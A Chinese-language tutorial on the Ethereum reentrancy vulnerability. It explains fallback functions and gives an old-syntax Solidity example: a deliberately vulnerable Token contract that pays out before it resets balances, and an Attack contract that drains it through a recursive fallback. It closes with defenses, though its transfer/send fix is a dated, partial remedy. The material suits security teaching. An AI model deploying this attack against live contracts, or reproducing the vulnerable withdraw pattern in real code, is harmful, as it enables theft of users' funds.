原理
重入漏洞是以太坊智能合约一个典型的漏洞。重入漏洞是指合约在本该属于原子性事务的“修改Storage变量并转账”的操作中,采用了先转账再修改Storage变量的顺序。如果转账的目标是一个带有恶意fallback函数的合约,则可能会被恶意合约对受害合约发起递归调用,从而破坏操作的原子性,绕过检查以重复获得转账收益。
合约可以有一个未命名的函数 —— fallback 函数。这个函数不能有参数也不能有返回值。如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。另外每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币,fallback 函数必须标记为 payable。如果不存在这样的函数,则合约不能通过常规交易接收以太币。
如果构造一个 fallback 函数,函数里面也调用对方的 withdraw 函数的话,那将会产生一个循环调用转账功能,存在漏洞的合约会不断向攻击者合约转账,直到gas耗尽。该漏洞仅针对address.call.value()这种转账方式。
示例
contract Token {
mapping(address => uint) public balanceOf;
function Token() payable {}
// 显示当前账户余额
function showAccount() public view returns(uint){
return this.balance;
}
// 接收转账
function receiveEther() public payable{
require(msg.value>0);
balanceOf[msg.sender]+=msg.value;
}
// 取款
function withdraw() public payable{
// 如果转账的地址为合约,并且转账合约中有回调函数。那么将默认会执行回调函数。
require(balanceOf[msg.sender]>0);
if (msg.sender.call.value(balanceOf[msg.sender])()) {
balanceOf[msg.sender] = 0;
}
}
}
// 攻击者合约
contract Attack {
address addr;
uint public times;
constructor(address target) payable{
addr=target;
}
// 发送1 ether
function sendEther() public payable{
Token(addr).receiveEther.value(1 ether)();
}
function hack() public{
Token(addr).withdraw();
}
// 回调函数
function () payable{
times++;
Token(addr).withdraw();
}
function showAccount() view public returns(uint){
return this.balance;
}
}
攻击者合约向漏洞合约转账 1 ether后:
攻击者调用hack进行重入攻击后:
按照漏洞合约的正确逻辑,这个时候攻击者账户合约只会增加 1 ether, 然而现在攻击者将漏洞合约所有 ether都提取走了,实施重入攻击成功。
防护
- 直接修复:使用address.transfer()或者address.send()进行转账操作
- 根源修复:进行资源锁,或者是使用哨兵等方式进行验证判断
- 也可以调换转账和扣款的执行顺序解决